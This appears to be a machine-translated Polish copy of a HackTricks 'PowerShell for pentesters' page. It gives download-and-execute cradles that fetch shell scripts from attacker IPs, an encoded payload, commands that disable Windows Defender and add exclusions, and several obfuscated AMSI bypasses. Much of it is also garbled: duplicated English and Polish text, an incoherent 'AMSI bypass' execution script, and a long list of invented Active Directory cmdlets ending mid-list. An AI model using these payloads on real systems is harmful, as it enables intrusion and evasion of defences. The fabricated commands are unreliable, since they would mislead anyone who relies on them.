120 KiB
Podstawy PowerShell dla pentesterów
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Domyślne lokalizacje PowerShell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Podstawowe polecenia PS do rozpoczęcia
Here are some basic PowerShell commands that can help you get started:
Oto kilka podstawowych poleceń PowerShell, które mogą pomóc Ci rozpocząć:
Get-Command
Use the Get-Command
command to retrieve a list of available commands in PowerShell.
Użyj polecenia Get-Command
, aby wyświetlić listę dostępnych poleceń w PowerShell.
Get-Command
Get-Help
If you need help with a specific command, use the Get-Help
command followed by the command name.
Jeśli potrzebujesz pomocy dotyczącej konkretnego polecenia, użyj polecenia Get-Help
, a następnie podaj nazwę polecenia.
Get-Help <command_name>
Get-Process
To retrieve a list of running processes, use the Get-Process
command.
Aby wyświetlić listę uruchomionych procesów, użyj polecenia Get-Process
.
Get-Process
Get-Service
To retrieve a list of installed services, use the Get-Service
command.
Aby wyświetlić listę zainstalowanych usług, użyj polecenia Get-Service
.
Get-Service
Get-EventLog
To retrieve event logs, use the Get-EventLog
command followed by the log name.
Aby wyświetlić dzienniki zdarzeń, użyj polecenia Get-EventLog
, a następnie podaj nazwę dziennika.
Get-EventLog -LogName <log_name>
Get-WmiObject
To retrieve information from WMI (Windows Management Instrumentation), use the Get-WmiObject
command followed by the WMI class name.
Aby uzyskać informacje z WMI (Windows Management Instrumentation), użyj polecenia Get-WmiObject
, a następnie podaj nazwę klasy WMI.
Get-WmiObject -Class <class_name>
Get-ChildItem
To list files and directories in a specific location, use the Get-ChildItem
command followed by the path.
Aby wyświetlić pliki i katalogi w określonym miejscu, użyj polecenia Get-ChildItem
, a następnie podaj ścieżkę.
Get-ChildItem -Path <path>
These are just a few examples of basic PowerShell commands. As you explore more, you will discover a wide range of powerful capabilities that PowerShell offers.
To tylko kilka przykładów podstawowych poleceń PowerShell. W miarę eksploracji odkryjesz szeroki zakres potężnych możliwości, które oferuje PowerShell.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Pobierz i Uruchom
To jest prosty skrypt PowerShell, który można użyć do pobrania i uruchomienia pliku z internetu. Skrypt ten jest przydatny w przypadku, gdy chcesz zdalnie pobrać i uruchomić plik na komputerze docelowym.
$Url = "https://example.com/file.exe"
$Output = "C:\Temp\file.exe"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($Url, $Output)
Start-Process -FilePath $Output
Aby użyć tego skryptu, wystarczy zmienić wartości zmiennych $Url
i $Output
na odpowiednie wartości. $Url
powinien zawierać pełny adres URL pliku, który chcesz pobrać, a $Output
powinien zawierać ścieżkę docelową, gdzie chcesz zapisać pobrany plik.
Po uruchomieniu skryptu, plik zostanie pobrany z podanego adresu URL i zapisany w określonym miejscu. Następnie skrypt uruchomi ten plik na komputerze docelowym.
Pamiętaj, że ten skrypt może być używany w celach legalnych, takich jak testowanie bezpieczeństwa lub zarządzanie zdalnymi komputerami. Używanie go w nielegalny sposób jest niezgodne z prawem i może prowadzić do konsekwencji prawnych.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Pobierz i wykonaj w tle z pominięciem AMSI
$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"
# Pobierz plik
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
# Wykonaj plik w tle z pominięciem AMSI
$Bytes = [System.IO.File]::ReadAllBytes($Output)
$EncodedCommand = [System.Convert]::ToBase64String($Bytes)
$Command = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand))
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
powershell -exec bypass -enc $EncodedCommand
Ten skrypt PowerShell pobiera plik wykonywalny z podanego adresu URL i następnie wykonuje go w tle, pomijając skanowanie AMSI.
$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"
# Download the file
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
# Execute the file in the background with AMSI bypass
$Bytes = [System.IO.File]::ReadAllBytes($Output)
$EncodedCommand = [System.Convert]::ToBase64String($Bytes)
$Command = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand))
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
powershell -exec bypass -enc $EncodedCommand
This PowerShell script downloads an executable file from the specified URL and then executes it in the background, bypassing AMSI scanning.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Używanie b64 w systemie Linux
The b64
command in Linux is used to encode or decode data in Base64 format. It is a useful tool for manipulating and transferring data in a text-based format. Here are some examples of how to use the b64
command:
Encoding data
To encode data using Base64, you can use the following command:
$ echo "Hello, World!" | b64
This will output the encoded data:
SGVsbG8sIFdvcmxkIQ==
Decoding data
To decode Base64-encoded data, you can use the following command:
$ echo "SGVsbG8sIFdvcmxkIQ==" | b64 -d
This will output the decoded data:
Hello, World!
Encoding a file
You can also encode the contents of a file using Base64. For example, to encode the contents of a file named file.txt
, you can use the following command:
$ b64 file.txt
This will output the encoded data to the console.
Decoding a file
Similarly, you can decode the contents of a Base64-encoded file. For example, to decode the contents of a file named encoded.txt
, you can use the following command:
$ b64 -d encoded.txt
This will output the decoded data to the console.
The b64
command is a handy tool for working with Base64-encoded data in Linux. It can be used in various scenarios, such as encoding or decoding data, or working with files.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Pobierz
System.Net.WebClient
Aby pobrać plik za pomocą klasy System.Net.WebClient
, wykonaj następujący kod:
$webClient = New-Object System.Net.WebClient
$url = "adres_url_pliku"
$destination = "ścieżka_docelowa"
$webClient.DownloadFile($url, $destination)
Gdzie:
adres_url_pliku
to adres URL pliku, który chcesz pobrać.ścieżka_docelowa
to ścieżka, w której chcesz zapisać pobrany plik.
Przykład użycia:
$webClient = New-Object System.Net.WebClient
$url = "https://www.example.com/plik.txt"
$destination = "C:\Users\Użytkownik\Documents\plik.txt"
$webClient.DownloadFile($url, $destination)
Ten kod pobierze plik plik.txt
ze strony https://www.example.com
i zapisze go w lokalizacji C:\Users\Użytkownik\Documents\plik.txt
.
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest is a cmdlet in PowerShell that allows you to send HTTP and HTTPS requests to a web page or web service. It can be used for various purposes, such as downloading files, interacting with web APIs, and scraping web content.
To use Invoke-WebRequest, you need to provide the URL of the web page or web service you want to interact with. You can also specify additional parameters, such as headers, cookies, and authentication credentials.
Here is an example of how to use Invoke-WebRequest to download a file from a web server:
Invoke-WebRequest -Uri "https://example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
In this example, the -Uri
parameter specifies the URL of the file you want to download, and the -OutFile
parameter specifies the path where you want to save the downloaded file.
You can also use Invoke-WebRequest to interact with web APIs by sending HTTP requests with specific headers and parameters. For example, you can send a POST request with JSON data to a web API:
$headers = @{
"Content-Type" = "application/json"
}
$body = @{
"name" = "John Doe"
"email" = "johndoe@example.com"
} | ConvertTo-Json
Invoke-WebRequest -Uri "https://api.example.com/users" -Method Post -Headers $headers -Body $body
In this example, the -Method
parameter specifies the HTTP method (POST in this case), the -Headers
parameter specifies the request headers, and the -Body
parameter specifies the request body.
Invoke-WebRequest is a powerful cmdlet that can be used for various web-related tasks in PowerShell. It provides a convenient way to interact with web pages, web services, and web APIs.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget to narzędzie wiersza poleceń, które umożliwia pobieranie plików z sieci. Może być używane do pobierania plików z serwerów HTTP, HTTPS i FTP. Wget jest często używany przez pentesterów do pobierania plików z celu przeprowadzenia analizy i testów penetracyjnych.
Składnia
wget [opcje] [adres URL]
Przykłady użycia
Pobierz plik z serwera HTTP:
wget http://example.com/plik.txt
Pobierz plik z serwera HTTPS:
wget https://example.com/plik.txt
Pobierz plik z serwera FTP:
wget ftp://example.com/plik.txt
Opcje
-O <nazwa_pliku>
: Określa nazwę, pod jaką zostanie zapisany pobrany plik.-P <ścieżka>
: Określa ścieżkę, do której zostanie zapisany pobrany plik.-r
: Rekursywnie pobiera wszystkie pliki z podkatalogów.-np
: Nie przechodzi do katalogów nadrzędnych podczas rekursywnego pobierania.-nc
: Nie pobiera pliku, jeśli już istnieje.-nv
: Wyłącza wyświetlanie komunikatów o postępie pobierania.-q
: Wyłącza wyświetlanie jakichkolwiek komunikatów.-U <nazwa_agenta>
: Określa nazwę agenta użytkownika, która zostanie wysłana do serwera podczas pobierania.
Więcej informacji na temat dostępnych opcji można znaleźć w dokumentacji Wget.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer to usługa w systemie Windows, która umożliwia przesyłanie plików między komputerami za pomocą protokołu HTTP lub HTTPS. Jest to przydatne narzędzie dla pentesterów, którzy chcą przenosić pliki w trakcie testów penetracyjnych.
Aby rozpocząć transfer pliku za pomocą BitsTransfer, można użyć polecenia Start-BitsTransfer
. Polecenie to wymaga podania źródłowego i docelowego adresu URL, a także lokalizacji, w której ma zostać zapisany plik.
Przykład użycia polecenia Start-BitsTransfer
:
Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Temp\file.txt"
Polecenie to rozpocznie transfer pliku file.txt
z adresu URL http://example.com/file.txt
i zapisze go w lokalizacji C:\Temp\file.txt
na komputerze docelowym.
BitsTransfer oferuje również inne przydatne funkcje, takie jak wznawianie przerwanych transferów, monitorowanie postępu transferu i zarządzanie transferami w tle.
Aby uzyskać więcej informacji na temat BitsTransfer i dostępnych poleceń, można użyć polecenia Get-Help Start-BitsTransfer
w konsoli PowerShell.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
W systemie Kali Linux możemy używać polecenia base64
do kodowania i dekodowania danych w formacie Base64. Może to być przydatne podczas pentestowania, gdy chcemy ukryć nasze polecenia przed wykryciem.
Aby zakodować dane za pomocą Base64 w Kali Linux, możemy użyć następującego polecenia:
echo -n "Dane do zakodowania" | base64
Aby zdekodować dane zakodowane w formacie Base64, możemy użyć polecenia:
echo -n "Dane do zdekodowania" | base64 -d
W przypadku pentestowania systemów Windows możemy użyć parametru -EncodedCommand
w PowerShell do uruchamiania poleceń zaszyfrowanych w formacie Base64. Może to pomóc w uniknięciu wykrycia przez systemy antywirusowe.
Aby uruchomić zaszyfrowane polecenie w PowerShell, możemy użyć następującej składni:
powershell.exe -EncodedCommand "Zaszyfrowane polecenie w formacie Base64"
Pamiętaj, że polecenie musi być zakodowane w formacie Base64 przed użyciem parametru -EncodedCommand
.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Polityka wykonywania
Ograniczony język
Polityka AppLocker
Włącz WinRM (Zdalne PS)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Wyłączanie Defendera
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
Bypass AMSI
amsi.dll
jest ładowany do twojego procesu i ma niezbędne eksporty, aby każda aplikacja z nim współpracować. Ponieważ jest ładowany do przestrzeni pamięci procesu, który kontrolujesz, możesz zmienić jego zachowanie przez nadpisanie instrukcji w pamięci. Sprawia to, że nie wykrywa niczego.
Dlatego celem bypassów AMSI jest nadpisanie instrukcji tej DLL w pamięci, aby wykrywanie było bezużyteczne.
Strona internetowa generująca bypassy AMSI: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Bypass 2 - Podpinanie wywołań zarządzanych API
Sprawdź ten post, aby uzyskać szczegółowe informacje i kod. Wprowadzenie:
Ta nowa technika polega na podpinaniu wywołań API metod .NET. Okazuje się, że metody .NET muszą zostać skompilowane do instrukcji maszynowych w pamięci, które wyglądają bardzo podobnie do metod natywnych. Te skompilowane metody mogą być podpinane, aby zmienić przepływ sterowania programu.
Kroki wykonywania podpinania wywołań API metod .NET to:
- Zidentyfikuj docelową metodę do podpięcia
- Zdefiniuj metodę o takim samym prototypie funkcji jak docelowa
- Użyj refleksji, aby znaleźć metody
- Upewnij się, że każda metoda została skompilowana
- Znajdź lokalizację każdej metody w pamięci
- Nadpisz docelową metodę instrukcjami wskazującymi na naszą złośliwą metodę
AMSI Bypass 3 - Uprawnienia SeDebug
Za pomocą tego przewodnika i kodu możesz zobaczyć, jak przy wystarczających uprawnieniach do debugowania procesów można uruchomić proces powershell.exe, go debugować, monitorować, kiedy ładowana jest biblioteka amsi.dll
i ją wyłączyć.
AMSI Bypass - Więcej zasobów
Historia PS
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Znajdź nowsze pliki
Opcje: CreationTime
, CreationTimeUtc
, LastAccessTime
, LastAccessTimeUtc
, LastWriteTime
, LastWriteTimeUtc
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Uzyskaj uprawnienia
Aby uzyskać informacje na temat uprawnień użytkowników w systemie Windows, można użyć następujących poleceń PowerShell:
Polecenie Get-ACL
Polecenie Get-ACL
pozwala na pobranie listy uprawnień dla określonego obiektu, takiego jak plik, folder lub rejestr. Można je użyć w następujący sposób:
Get-ACL -Path C:\Folder
Polecenie Get-Acl | Format-List
Polecenie Get-ACL
można połączyć z poleceniem Format-List
, aby uzyskać bardziej szczegółowe informacje na temat uprawnień. Przykład użycia:
Get-ACL -Path C:\Folder | Format-List
Polecenie Get-NTFSAccess
Polecenie Get-NTFSAccess
pozwala na pobranie uprawnień NTFS dla określonego obiektu. Można je użyć w następujący sposób:
Get-NTFSAccess -Path C:\Folder
Polecenie Get-EffectiveAccess
Polecenie Get-EffectiveAccess
pozwala na sprawdzenie efektywnych uprawnień dla określonego użytkownika w systemie Windows. Można je użyć w następujący sposób:
Get-EffectiveAccess -Identity DOMAIN\Username -Path C:\Folder
Polecenie Get-ProcessTokenPrivilege
Polecenie Get-ProcessTokenPrivilege
pozwala na pobranie informacji o uprawnieniach tokena procesu. Można je użyć w następujący sposób:
Get-ProcessTokenPrivilege -ProcessId 1234
Polecenie Get-ServicePermission
Polecenie Get-ServicePermission
pozwala na pobranie uprawnień dla określonej usługi systemowej. Można je użyć w następujący sposób:
Get-ServicePermission -ServiceName ServiceName
Polecenie Get-RegistryKeyPermission
Polecenie Get-RegistryKeyPermission
pozwala na pobranie uprawnień dla określonego klucza rejestru. Można je użyć w następujący sposób:
Get-RegistryKeyPermission -KeyPath HKLM:\Software\Microsoft
Polecenie Get-SharePermission
Polecenie Get-SharePermission
pozwala na pobranie uprawnień dla określonego udziału sieciowego. Można je użyć w następujący sposób:
Get-SharePermission -Name ShareName
Polecenie Get-ADUser
Polecenie Get-ADUser
pozwala na pobranie informacji o użytkownikach z Active Directory. Można je użyć w następujący sposób:
Get-ADUser -Identity Username
Polecenie Get-ADGroup
Polecenie Get-ADGroup
pozwala na pobranie informacji o grupach z Active Directory. Można je użyć w następujący sposób:
Get-ADGroup -Identity GroupName
Polecenie Get-ADComputer
Polecenie Get-ADComputer
pozwala na pobranie informacji o komputerach z Active Directory. Można je użyć w następujący sposób:
Get-ADComputer -Identity ComputerName
Polecenie Get-ADObject
Polecenie Get-ADObject
pozwala na pobranie informacji o obiektach z Active Directory. Można je użyć w następujący sposób:
Get-ADObject -Identity ObjectName
Polecenie Get-ADDomain
Polecenie Get-ADDomain
pozwala na pobranie informacji o domenie z Active Directory. Można je użyć w następujący sposób:
Get-ADDomain
Polecenie Get-ADForest
Polecenie Get-ADForest
pozwala na pobranie informacji o lesie z Active Directory. Można je użyć w następujący sposób:
Get-ADForest
Polecenie Get-ADTrust
Polecenie Get-ADTrust
pozwala na pobranie informacji o zaufaniu z Active Directory. Można je użyć w następujący sposób:
Get-ADTrust
Polecenie Get-ADDomainController
Polecenie Get-ADDomainController
pozwala na pobranie informacji o kontrolerach domeny z Active Directory. Można je użyć w następujący sposób:
Get-ADDomainController
Polecenie Get-ADReplicationSite
Polecenie Get-ADReplicationSite
pozwala na pobranie informacji o witrynach replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationSite
Polecenie Get-ADReplicationSubnet
Polecenie Get-ADReplicationSubnet
pozwala na pobranie informacji o podsieciach replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationSubnet
Polecenie Get-ADReplicationConnection
Polecenie Get-ADReplicationConnection
pozwala na pobranie informacji o połączeniach replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationConnection
Polecenie Get-ADReplicationPartnerMetadata
Polecenie Get-ADReplicationPartnerMetadata
pozwala na pobranie metadanych partnera replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationPartnerMetadata
Polecenie Get-ADReplicationAttributeMetadata
Polecenie Get-ADReplicationAttributeMetadata
pozwala na pobranie metadanych atrybutu replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationAttributeMetadata
Polecenie Get-ADReplicationUpToDatenessVectorTable
Polecenie Get-ADReplicationUpToDatenessVectorTable
pozwala na pobranie tabeli wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTable
Polecenie Get-ADReplicationUpToDatenessVectorTablePartition
Polecenie Get-ADReplicationUpToDatenessVectorTablePartition
pozwala na pobranie tabeli partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartition
Polecenie Get-ADReplicationUpToDatenessVectorTableObject
Polecenie Get-ADReplicationUpToDatenessVectorTableObject
pozwala na pobranie tabeli obiektów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableObject
Polecenie Get-ADReplicationUpToDatenessVectorTableAttribute
Polecenie Get-ADReplicationUpToDatenessVectorTableAttribute
pozwala na pobranie tabeli atrybutów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableAttribute
Polecenie Get-ADReplicationUpToDatenessVectorTableValue
Polecenie Get-ADReplicationUpToDatenessVectorTableValue
pozwala na pobranie tabeli wartości wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableValue
Polecenie Get-ADReplicationUpToDatenessVectorTableLink
Polecenie Get-ADReplicationUpToDatenessVectorTableLink
pozwala na pobranie tabeli połączeń wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableLink
Polecenie Get-ADReplicationUpToDatenessVectorTableSite
Polecenie Get-ADReplicationUpToDatenessVectorTableSite
pozwala na pobranie tabeli witryn wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableSite
Polecenie Get-ADReplicationUpToDatenessVectorTableServer
Polecenie Get-ADReplicationUpToDatenessVectorTableServer
pozwala na pobranie tabeli serwerów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableServer
Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContext
Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContext
pozwala na pobranie tabeli kontekstów nazw wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableNamingContext
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionLink
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionLink
pozwala na pobranie tabeli połączeń partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionLink
Polecenie Get-ADReplicationUpToDatenessVectorTableObjectLink
Polecenie Get-ADReplicationUpToDatenessVectorTableObjectLink
pozwala na pobranie tabeli połączeń obiektów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableObjectLink
Polecenie Get-ADReplicationUpToDatenessVectorTableAttributeLink
Polecenie Get-ADReplicationUpToDatenessVectorTableAttributeLink
pozwala na pobranie tabeli połączeń atrybutów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableAttributeLink
Polecenie Get-ADReplicationUpToDatenessVectorTableValueLink
Polecenie Get-ADReplicationUpToDatenessVectorTableValueLink
pozwala na pobranie tabeli połączeń wartości wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableValueLink
Polecenie Get-ADReplicationUpToDatenessVectorTableSiteLink
Polecenie Get-ADReplicationUpToDatenessVectorTableSiteLink
pozwala na pobranie tabeli połączeń witryn wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
